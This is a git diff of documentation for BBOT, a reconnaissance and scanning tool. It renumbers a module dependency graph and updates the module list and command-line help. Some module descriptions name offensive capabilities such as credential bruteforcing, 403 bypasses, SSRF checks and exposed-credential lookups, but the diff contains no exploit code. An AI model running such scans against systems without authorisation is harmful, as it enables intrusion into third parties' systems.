2, "type": "consumes" }, { - "source": 117, + "source": 116, "target": 73, "type": "consumes" }, { "source": 73, - "target": 117, + "target": 116, "type": "produces" }, { - "source": 118, + "source": 117, "target": 2, "type": "consumes" }, { - "source": 118, + "source": 117, "target": 73, "type": "consumes" }, { "source": 73, - "target": 118, - "type": "produces" - }, - { - "source": 119, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 119, + "target": 117, "type": "produces" }, { - "source": 120, + "source": 118, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 120, + "source": 48, + "target": 118, "type": "produces" }, { - "source": 121, + "source": 119, "target": 16, "type": "consumes" }, { - "source": 121, + "source": 119, "target": 3, "type": "consumes" }, { - "source": 121, + "source": 119, "target": 20, "type": "consumes" }, { - "source": 122, + "source": 120, "target": 7, "type": "consumes" }, { - "source": 122, + "source": 120, "target": 12, "type": "consumes" }, { - "source": 122, - "target": 123, + "source": 120, + "target": 121, "type": "consumes" }, { "source": 16, - "target": 122, + "target": 120, "type": "produces" }, { - "source": 124, + "source": 122, "target": 66, "type": "consumes" }, { - "source": 124, + "source": 122, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 124, + "source": 46, + "target": 122, "type": "produces" }, { - "source": 125, - "target": 45, + "source": 123, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 125, + "target": 123, "type": "produces" }, { - "source": 126, + "source": 124, "target": 7, "type": "consumes" }, { "source": 7, - "target": 126, + "target": 124, "type": "produces" }, { - "source": 127, + "source": 125, "target": 73, "type": "consumes" }, { "source": 4, - "target": 127, + "target": 125, "type": "produces" }, { - "source": 128, + "source": 126, "target": 20, "type": "consumes" }, { "source": 4, - "target": 128, + "target": 126, "type": "produces" }, { - "source": 129, + "source": 127, "target": 3, "type": "consumes" }, { "source": 20, - "target": 129, + "target": 127, "type": "produces" }, { - "source": 130, + "source": 128, "target": 7, "type": "consumes" }, { "source": 7, - "target": 130, + "target": 128, "type": "produces" }, { - "source": 131, + "source": 129, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 131, + "source": 48, + "target": 129, "type": "produces" }, { "source": 20, - "target": 131, + "target": 129, "type": "produces" }, { - "source": 132, + "source": 130, "target": 7, "type": "consumes" }, { "source": 7, - "target": 132, + "target": 130, "type": "produces" }, { - "source": 133, + "source": 131, "target": 12, "type": "consumes" }, { "source": 4, - "target": 133, + "target": 131, "type": "produces" }, { "source": 16, - "target": 133, + "target": 131, "type": "produces" }, { - "source": 40, - "target": 133, + "source": 41, + "target": 131, "type": "produces" }, { "source": 5, - "target": 133, + "target": 131, "type": "produces" }, { - "source": 134, + "source": 132, "target": 7, "type": "consumes" }, { - "source": 134, + "source": 132, "target": 12, "type": "consumes" }, { "source": 7, - "target": 134, + "target": 132, "type": "produces" }, { "source": 4, - "target": 134, + "target": 132, "type": "produces" }, { "source": 16, - "target": 134, + "target": 132, "type": "produces" }, { "source": 5, - "target": 134, - "type": "produces" - }, - { - "source": 135, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 135, + "target": 132, "type": "produces" }, { - "source": 136, + "source": 133, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 136, - "type": "produces" - }, - { - "source": 137, - "target": 3, - "type": "consumes" - }, - { - "source": 4, - "target": 137, + "source": 48, + "target": 133, "type": "produces" }, { - "source": 138, + "source": 134, "target": 20, "type": "consumes" }, { "source": 67, - "target": 138, + "target": 134, "type": "produces" }, { - "source": 139, + "source": 135, "target": 19, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 7, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 22, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 2, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 12, "type": "consumes" }, { - "source": 139, - "target": 123, + "source": 135, + "target": 121, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 67, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 24, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 3, "type": "consumes" }, { - "source": 139, + "source": 135, "target": 20, "type": "consumes" }, { - "source": 139, - "target": 50, + "source": 135, + "target": 51, "type": "consumes" }, { "source": 7, - "target": 139, + "target": 135, "type": "produces" }, { "source": 4, - "target": 139, + "target": 135, "type": "produces" }, { "source": 12, - "target": 139, + "target": 135, "type": "produces" }, { "source": 16, - "target": 139, + "target": 135, "type": "produces" }, { "source": 66, - "target": 139, + "target": 135, "type": "produces" }, { - "source": 140, - "target": 16, + "source": 136, + "target": 2, "type": "consumes" }, { "source": 7, - "target": 140, + "target": 136, "type": "produces" }, { - "source": 47, - "target": 140, + "source": 48, + "target": 136, "type": "produces" }, { - "source": 141, + "source": 137, "target": 7, "type": "consumes" }, { "source": 7, - "target": 141, + "target": 137, "type": "produces" }, { - "source": 142, + "source": 138, "target": 7, "type": "consumes" }, { "source": 7, - "target": 142, + "target": 138, "type": "produces" }, { - "source": 143, + "source": 139, "target": 7, "type": "consumes" }, { - "source": 143, + "source": 139, "target": 22, "type": "consumes" }, { - "source": 144, + "source": 140, "target": 2, "type": "consumes" }, { - "source": 144, + "source": 140, "target": 3, "type": "consumes" }, { "source": 4, - "target": 144, + "target": 140, "type": "produces" }, { - "source": 145, - "target": 45, + "source": 141, + "target": 46, "type": "consumes" }, { - "source": 145, + "source": 141, "target": 5, "type": "consumes" }, { - "source": 145, + "source": 141, "target": 20, "type": "consumes" }, { "source": 4, - "target": 145, + "target": 141, "type": "produces" }, { - "source": 146, + "source": 142, "target": 7, "type": "consumes" }, { "source": 7, - "target": 146, + "target": 142, "type": "produces" }, { - "source": 147, - "target": 45, + "source": 143, + "target": 46, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 10, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 2, "type": "consumes" }, { - "source": 147, + "source": 143, "target": 72, "type": "consumes" }, { "source": 4, - "target": 147, + "target": 143, "type": "produces" }, { - "source": 148, + "source": 144, "target": 10, "type": "consumes" }, { "source": 10, - "target": 148, + "target": 144, "type": "produces" }, { - "source": 149, + "source": 145, "target": 3, "type": "consumes" }, { "source": 4, - "target": 149, + "target": 145, "type": "produces" }, { - "source": 150, + "source": 146, "target": 7, "type": "consumes" }, { "source": 7, - "target": 150, + "target": 146, "type": "produces" }, { "source": 20, - "target": 150, + "target": 146, "type": "produces" }, { - "source": 151, + "source": 147, "target": 7, "type": "consumes" }, { "source": 7, - "target": 151, + "target": 147, "type": "produces" }, { - "source": 152, + "source": 148, "target": 7, "type": "consumes" }, { "source": 7, - "target": 152, + "target": 148, "type": "produces" }, { - "source": 153, + "source": 149, "target": 3, "type": "consumes" }, { "source": 17, - "target": 153, + "target": 149, "type": "produces" }, { - "source": 154, + "source": 150, "target": 7, "type": "consumes" }, { "source": 7, - "target": 154, + "target": 150, "type": "produces" }, { "source": 20, - "target": 154, + "target": 150, "type": "produces" }, { - "source": 155, + "source": 151, "target": 73, "type": "consumes" }, { - "source": 156, + "source": 152, "target": 4, "type": "consumes" }, { - "source": 156, + "source": 152, "target": 5, "type": "consumes" }, { - "source": 156, + "source": 152, + "target": 3, + "type": "consumes" + }, + { + "source": 153, "target": 3, "type": "consumes" }, { - "source": 156, - "target": 157, + "source": 20, + "target": 153, + "type": "produces" + }, + { + "source": 154, + "target": 97, "type": "consumes" }, { - "source": 158, + "source": 20, + "target": 154, + "type": "produces" + }, + { + "source": 155, "target": 2, "type": "consumes" }, { - "source": 158, + "source": 155, "target": 5, "type": "consumes" }, { "source": 4, - "target": 158, + "target": 155, "type": "produces" }, { "source": 5, - "target": 158, + "target": 155, "type": "produces" }, { "source": 20, - "target": 158, + "target": 155, "type": "produces" } ] \ No newline at end of file diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index fad65e1ecd..b772650e47 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -13,23 +13,23 @@ | bucket_digitalocean | scan | No | Check for DigitalOcean spaces related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-08 | | bucket_firebase | scan | No | Check for open Firebase databases related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2023-03-20 | | bucket_google | scan | No | Check for Google object storage related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | +| bucket_hetzner | scan | No | Check for Hetzner Object Storage buckets related to target | active, cloud-enum, safe, slow, web-heavy | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @ChrisJr404 | 2026-05-04 | | bucket_microsoft | scan | No | Check for Azure storage blobs related to target | active, cloud-enum, safe, web | DNS_NAME, STORAGE_BUCKET | FINDING, STORAGE_BUCKET | @TheTechromancer | 2022-11-04 | | bypass403 | scan | No | Check 403 pages for common bypasses | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-07-05 | | dnsbrute | scan | No | Brute-force subdomains with massdns + static wordlist | active, loud, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-24 | | dnsbrute_mutations | scan | No | Brute-force subdomains with massdns + target-specific mutations | active, loud, slow, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2024-04-25 | | dnscommonsrv | scan | No | Check for common SRV records | active, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-15 | | dotnetnuke | scan | No | Scan for critical DotNetNuke (DNN) vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE | FINDING, TECHNOLOGY | @liquidsec | 2023-11-21 | -| ffuf | scan | No | A fast web fuzzer written in Go | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | -| ffuf_shortnames | scan | No | Use ffuf in combination IIS shortnames | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | filedownload | scan | No | Download common filetypes such as PDF, DOCX, PPTX, etc. | active, download, safe, web | HTTP_RESPONSE, URL_UNVERIFIED | FILESYSTEM | @TheTechromancer | 2023-10-11 | -| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL | @TheTechromancer | 2023-01-30 | +| fingerprintx | scan | No | Fingerprint exposed services like RDP, SSH, MySQL, etc. | active, safe, service-enum, slow | OPEN_TCP_PORT | PROTOCOL, URL_UNVERIFIED | @TheTechromancer | 2023-01-30 | +| generic_ssrf | scan | No | Check for generic SSRFs | active, invasive, web-heavy | URL | FINDING | @liquidsec | 2022-07-30 | | git | scan | No | Check for exposed .git repositories | active, code-enum, safe, web | URL | CODE_REPOSITORY, FINDING | @TheTechromancer | 2023-05-30 | | gitlab_com | scan | No | Enumerate GitLab SaaS (gitlab.com/org) for projects and groups | active, code-enum, safe | SOCIAL | CODE_REPOSITORY | @TheTechromancer | 2024-03-11 | | gitlab_onprem | scan | No | Detect self-hosted GitLab instances and query them for repositories | active, code-enum, safe | HTTP_RESPONSE, SOCIAL, TECHNOLOGY | CODE_REPOSITORY, FINDING, SOCIAL, TECHNOLOGY | @TheTechromancer | 2024-03-11 | | gowitness | scan | No | Take screenshots of webpages | active, safe, web-screenshots | SOCIAL, URL | TECHNOLOGY, URL, URL_UNVERIFIED, WEBSCREENSHOT | @TheTechromancer | 2022-07-08 | | graphql_introspection | scan | No | Perform GraphQL introspection on a target | active, safe, web | URL | FINDING | @mukesh-dream11 | 2025-07-01 | | host_header | scan | No | Try common HTTP Host header spoofing techniques | active, loud, web-heavy | HTTP_RESPONSE | FINDING | @liquidsec | 2022-07-27 | -| httpx | scan | No | Visit webpages. Many other modules rely on httpx | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @TheTechromancer | 2022-07-08 | +| http | scan | No | Visit webpages using blasthttp (native Rust HTTP engine) | active, cloud-enum, safe, social-enum, subdomain-enum, web | OPEN_TCP_PORT, URL, URL_UNVERIFIED | HTTP_RESPONSE, URL | @liquidsec | 2026-03-08 | | hunt | scan | No | Watch for commonly-exploitable HTTP parameters | active, safe, web-heavy | WEB_PARAMETER | FINDING | @liquidsec | 2022-07-20 | | iis_shortnames | scan | No | Check for IIS shortname vulnerability | active, iis-shortnames, loud, web | URL | URL_HINT | @liquidsec | 2022-04-15 | | legba | scan | No | Credential bruteforcing supporting various services. | active, invasive, loud | PROTOCOL | FINDING | @christianfl, @fuzikowski | 2025-07-18 | @@ -47,14 +47,15 @@ | retirejs | scan | No | Detect vulnerable/out-of-date JavaScript libraries | active, safe, web-heavy | URL_UNVERIFIED | FINDING | @liquidsec | 2025-08-19 | | robots | scan | No | Look for and parse robots.txt | active, safe, web | URL | URL_UNVERIFIED | @liquidsec | 2023-02-01 | | securitytxt | scan | No | Check for security.txt content | active, cloud-enum, safe, subdomain-enum, web | DNS_NAME | EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| smuggler | scan | No | Check for HTTP smuggling | active, invasive, loud, slow, web-heavy | URL | FINDING | @liquidsec | 2022-07-06 | -| sslcert | scan | No | Visit open ports and retrieve SSL certificates | active, affiliates, email-enum, safe, subdomain-enum, web | OPEN_TCP_PORT | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | +| sslcert | scan | No | Extract hostnames and emails from TLS certificates in HTTP responses | active, affiliates, email-enum, safe, subdomain-enum, web | HTTP_RESPONSE | DNS_NAME, EMAIL_ADDRESS | @TheTechromancer | 2022-03-30 | | telerik | scan | No | Scan for critical Telerik vulnerabilities | active, invasive, loud, web-heavy | HTTP_RESPONSE, URL | FINDING | @liquidsec | 2022-04-10 | | url_manipulation | scan | No | Attempt to identify URL parsing/routing based vulnerabilities | active, loud, web-heavy | URL | FINDING | @liquidsec | 2022-09-27 | | wafw00f | scan | No | Web Application Firewall Fingerprinting Tool | active, loud | URL | WAF | @liquidsec | 2023-02-15 | +| webbrute | scan | No | A fast web fuzzer powered by blasthttp | active, loud | URL | URL_UNVERIFIED | @liquidsec | 2022-04-10 | +| webbrute_shortnames | scan | No | Brute-force IIS shortnames using ML-predicted wordlists | active, iis-shortnames, loud, web-heavy | URL_HINT | URL_UNVERIFIED | @liquidsec | 2022-07-05 | | wpscan | scan | No | Wordpress security scanner. Highly recommended to use an API key for better results. | active, loud | HTTP_RESPONSE, TECHNOLOGY | FINDING, TECHNOLOGY, URL_UNVERIFIED | @domwhewell-sage | 2024-05-29 | | affiliates | scan | No | Summarize affiliate domains at the end of a scan | affiliates, passive, safe | * | | @TheTechromancer | 2022-07-25 | -| anubisdb | scan | No | Query jldc.me's database for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | +| anubisdb | scan | No | Query anubisdb.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-10-04 | | apkpure | scan | No | Download android applications from apkpure.com | code-enum, download, passive, safe | MOBILE_APP | FILESYSTEM | @domwhewell-sage | 2024-10-11 | | asn | scan | No | Query asndb for ASN information | passive, safe, subdomain-enum | IP_ADDRESS | ASN | @TheTechromancer | 2022-07-25 | | azure_tenant | scan | No | Query Azure for tenant information using multiple enumeration methods | affiliates, cloud-enum, passive, safe, subdomain-enum | DNS_NAME | AZURE_TENANT, DNS_NAME, FINDING, URL_UNVERIFIED | @TheTechromancer | 2024-07-04 | @@ -72,7 +73,6 @@ | crt | scan | No | Query crt.sh (certificate transparency) for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-05-13 | | crt_db | scan | No | Query crt.sh (certificate transparency) for subdomains via PostgreSQL | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2025-03-27 | | dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | -| digitorus | scan | No | Query certificatedetails.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-25 | | dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, safe, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | | dnscaa | scan | No | Check for CAA records | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | | dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | @@ -95,20 +95,18 @@ | ipstack | scan | Yes | Query IPStack's GeoIP API | passive, safe | IP_ADDRESS | GEOLOCATION | @tycoonslive | 2022-11-26 | | jadx | scan | No | Decompile APKs and XAPKs using JADX | code-enum, passive, safe | FILESYSTEM | FILESYSTEM | @domwhewell-sage | 2024-11-04 | | kreuzberg | scan | No | Module to extract data from files | passive, safe | FILESYSTEM | RAW_TEXT | @domwhewell-sage | 2024-06-03 | -| leakix | scan | No | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | +| leakix | scan | Yes | Query leakix.net for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-11 | | myssl | scan | No | Query myssl.com's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-10 | | otx | scan | Yes | Query otx.alienvault.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | -| passivetotal | scan | Yes | Query the PassiveTotal API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-08 | | pgp | scan | No | Query common PGP servers for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-08-10 | | portfilter | scan | No | Filter out unwanted open ports from cloud/CDN targets | passive, safe | OPEN_TCP_PORT, URL, URL_UNVERIFIED | | @TheTechromancer | 2025-01-06 | -| postman | scan | No | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | -| postman_download | scan | No | Download workspaces, collections, requests from Postman | code-enum, download, passive, safe, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | +| postman | scan | Yes | Query Postman's API for related workspaces, collections, requests and download them | code-enum, passive, safe, subdomain-enum | ORG_STUB, SOCIAL | CODE_REPOSITORY | @domwhewell-sage | 2024-09-07 | +| postman_download | scan | Yes | Download workspaces, collections, requests from Postman | code-enum, download, passive, safe, subdomain-enum | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-09-07 | | rapiddns | scan | No | Query rapiddns.io for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-08-24 | | securitytrails | scan | Yes | Query the SecurityTrails API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | | shodan_dns | scan | Yes | Query Shodan for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-07-03 | | shodan_enterprise | scan | Yes | Shodan Enterprise API integration module. | passive, safe | IP_ADDRESS | FINDING, OPEN_TCP_PORT, OPEN_UDP_PORT, TECHNOLOGY | @Control-Punk-Delete | 2026-01-27 | | shodan_idb | scan | No | Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities | passive, portscan, safe, subdomain-enum | DNS_NAME, IP_ADDRESS | DNS_NAME, FINDING, OPEN_TCP_PORT, TECHNOLOGY | @TheTechromancer | 2023-12-22 | -| sitedossier | scan | No | Query sitedossier.com for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-08-04 | | skymem | scan | No | Query skymem.info for email addresses | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS | @TheTechromancer | 2022-07-11 | | social | scan | No | Look for social media links in webpages | passive, safe, social-enum | URL_UNVERIFIED | SOCIAL | @TheTechromancer | 2023-03-28 | | subdomaincenter | scan | No | Query subdomain.center's API for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2023-07-26 | @@ -125,7 +123,6 @@ | discord | output | No | Message a Discord channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | elastic | output | No | Send scan results to Elasticsearch | | * | | @TheTechromancer | 2022-11-21 | | emails | output | No | Output any email addresses found belonging to the target domain | email-enum, safe | EMAIL_ADDRESS | | @domwhewell-sage | 2023-12-23 | -| http | output | No | Send every event to a custom URL via a web request | | * | | @TheTechromancer | 2022-04-13 | | json | output | No | Output to Newline-Delimited JSON (NDJSON) | | * | | @TheTechromancer | 2022-04-07 | | kafka | output | No | Output scan data to a Kafka topic | | * | | @TheTechromancer | 2024-11-22 | | mongo | output | No | Output scan data to a MongoDB database | | * | | @TheTechromancer | 2024-11-17 | @@ -144,7 +141,8 @@ | teams | output | No | Message a Teams channel when certain events are encountered | | * | | @TheTechromancer | 2023-08-14 | | txt | output | No | Output to text | | * | | @TheTechromancer | 2024-04-03 | | web_parameters | output | No | Output WEB_PARAMETER names to a file | | WEB_PARAMETER | | @liquidsec | 2025-01-25 | -| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL, VHOST | | @liquidsec | 2023-02-08 | +| web_report | output | No | Create a markdown report with web assets | | FINDING, TECHNOLOGY, URL | | @liquidsec | 2023-02-08 | +| webhook | output | No | Send every event to a custom URL via a webhook | | * | | @TheTechromancer | 2022-04-13 | | websocket | output | No | Output to websockets | | * | | @TheTechromancer | 2022-04-15 | | zeromq | output | No | Output scan data to a ZeroMQ socket (PUB) | | * | | @TheTechromancer | 2024-11-22 | | cloudcheck | internal | No | Tag events by cloud provider, identify cloud resources like storage buckets | | * | | @TheTechromancer | 2024-07-07 | diff --git a/docs/scanning/advanced.md b/docs/scanning/advanced.md index 8fc6593649..50c8f8ba0d 100644 --- a/docs/scanning/advanced.md +++ b/docs/scanning/advanced.md @@ -40,11 +40,11 @@ usage: bbot [-h] [-t TARGET [TARGET ...]] [-s SEEDS [SEEDS ...]] [-ef FLAG [FLAG ...]] [-n SCAN_NAME] [-v] [-d] [-S] [--force] [-y] [--fast-mode] [--dry-run] [--current-preset] [--current-preset-full] [-mh MODULE] [-o DIR] - [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] + [-om MODULE [MODULE ...]] [-lo] [--json] [--brief] [--no-color] [--event-types EVENT_TYPES [EVENT_TYPES ...]] [--exclude-cdn] - [--no-deps | --force-deps | --retry-deps | - --ignore-failed-deps] [--install-all-deps] [--version] - [--proxy HTTP_PROXY] [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] + [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps] + [--install-all-deps] [--version] [--proxy HTTP_PROXY] + [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [-C CUSTOM_COOKIES [CUSTOM_COOKIES ...]] [--custom-yara-rules CUSTOM_YARA_RULES] [--user-agent USER_AGENT] [--user-agent-suffix SUFFIX] @@ -55,39 +55,40 @@ options: -h, --help show this help message and exit Target: - -t, --targets TARGET [TARGET ...] + -t TARGET [TARGET ...], --targets TARGET [TARGET ...] Target scope - -s, --seeds SEEDS [SEEDS ...] + -s SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...] Define seeds to drive passive modules without being in scope (if not specified, defaults to same as targets) - -b, --blacklist BLACKLIST [BLACKLIST ...] + -b BLACKLIST [BLACKLIST ...], --blacklist BLACKLIST [BLACKLIST ...] Don't touch these things --strict-scope Don't consider subdomains of target to be in-scope - exact matches only Presets: - -p, --preset [PRESET ...] + -p [PRESET ...], --preset [PRESET ...] Enable BBOT preset(s) - -c, --config [CONFIG ...] + -c [CONFIG ...], --config [CONFIG ...] Custom config options in key=value format: e.g. 'modules.shodan.api_key=1234' -lp, --list-presets List available presets. Modules: - -m, --modules MODULE [MODULE ...] - Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,digitorus,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,ffuf,ffuf_shortnames,filedownload,fingerprintx,fullhunt,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,httpx,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,passivetotal,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,sitedossier,skymem,smuggler,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,wpscan + -m MODULE [MODULE ...], --modules MODULE [MODULE ...] + Modules to enable. Choices: affiliates,ajaxpro,anubisdb,apkpure,asn,aspnet_bin_exposure,azure_tenant,baddns,baddns_direct,baddns_zone,badsecrets,bevigil,bucket_amazon,bucket_digitalocean,bucket_file_enum,bucket_firebase,bucket_google,bucket_hetzner,bucket_microsoft,bufferoverrun,builtwith,bypass403,c99,censys_dns,censys_ip,certspotter,chaos,code_repository,credshed,crt,crt_db,dehashed,dnsbimi,dnsbrute,dnsbrute_mutations,dnscaa,dnscommonsrv,dnsdumpster,dnstlsrpt,docker_pull,dockerhub,dotnetnuke,emailformat,filedownload,fingerprintx,fullhunt,generic_ssrf,git,git_clone,gitdumper,github_codesearch,github_org,github_usersearch,github_workflows,gitlab_com,gitlab_onprem,google_playstore,gowitness,graphql_introspection,hackertarget,host_header,http,hunt,hunterio,iis_shortnames,ip2location,ipneighbor,ipstack,jadx,kreuzberg,leakix,legba,lightfuzz,medusa,myssl,newsletters,ntlm,nuclei,oauth,otx,paramminer_cookies,paramminer_getparams,paramminer_headers,pgp,portfilter,portscan,postman,postman_download,rapiddns,reflected_parameters,retirejs,robots,securitytrails,securitytxt,shodan_dns,shodan_enterprise,shodan_idb,skymem,social,sslcert,subdomaincenter,subdomainradar,telerik,trajan,trickest,trufflehog,url_manipulation,urlscan,viewdns,virustotal,wafw00f,wayback,webbrute,webbrute_shortnames,wpscan -l, --list-modules List available modules. -lmo, --list-module-options Show all module config options - -em, --exclude-modules MODULE [MODULE ...] + -em MODULE [MODULE ...], --exclude-modules MODULE [MODULE ...] Exclude these modules. - -f, --flags FLAG [FLAG ...] + -f FLAG [FLAG ...], --flags FLAG [FLAG ...] Enable modules by flag. Choices: active,affiliates,baddns,cloud-enum,code-enum,download,email-enum,iis-shortnames,invasive,loud,passive,portscan,safe,service-enum,slow,social-enum,subdomain-enum,subdomain-hijack,web,web-heavy,web-paramminer,web-screenshots -lf, --list-flags List available flags. - -rf, --require-flags FLAG [FLAG ...] + -rf FLAG [FLAG ...], --require-flags FLAG [FLAG ...] Only enable modules with these flags (e.g. -rf passive) - -ef, --exclude-flags FLAG [FLAG ...] + -ef FLAG [FLAG ...], --exclude-flags FLAG [FLAG ...] Disable modules with these flags. (e.g. -ef loud) Scan: - -n, --name SCAN_NAME Name of scan (default: random) + -n SCAN_NAME, --name SCAN_NAME + Name of scan (default: random) -v, --verbose Be more verbose -d, --debug Enable debugging -S, --silent Be quiet @@ -98,17 +99,19 @@ Scan: --current-preset Show the current preset in YAML format --current-preset-full Show the current preset in its full form, including defaults - -mh, --module-help MODULE + -mh MODULE, --module-help MODULE Show help for a specific module Output: - -o, --output-dir DIR Directory to output scan results - -om, --output-modules MODULE [MODULE ...] - Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,http,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,websocket,zeromq + -o DIR, --output-dir DIR + Directory to output scan results + -om MODULE [MODULE ...], --output-modules MODULE [MODULE ...] + Output module(s). Choices: asset_inventory,csv,discord,elastic,emails,json,kafka,mongo,mysql,nats,neo4j,nmap_xml,postgres,python,rabbitmq,slack,splunk,sqlite,stdout,subdomains,teams,txt,web_parameters,web_report,webhook,websocket,zeromq -lo, --list-output-modules List available output modules --json, -j Output scan data in JSON format --brief, -br Output only the data itself + --no-color Disable colored terminal output --event-types EVENT_TYPES [EVENT_TYPES ...] Choose which event types to display --exclude-cdn, -ec Filter out unwanted open ports on CDNs/WAFs (80,443 only) @@ -125,15 +128,15 @@ Module dependencies: Misc: --version show BBOT version and exit --proxy HTTP_PROXY Use this proxy for all HTTP requests - -H, --custom-headers CUSTOM_HEADERS [CUSTOM_HEADERS ...] + -H CUSTOM_HEADERS [CUSTOM_HEADERS ...], --custom-headers CUSTOM_HEADERS 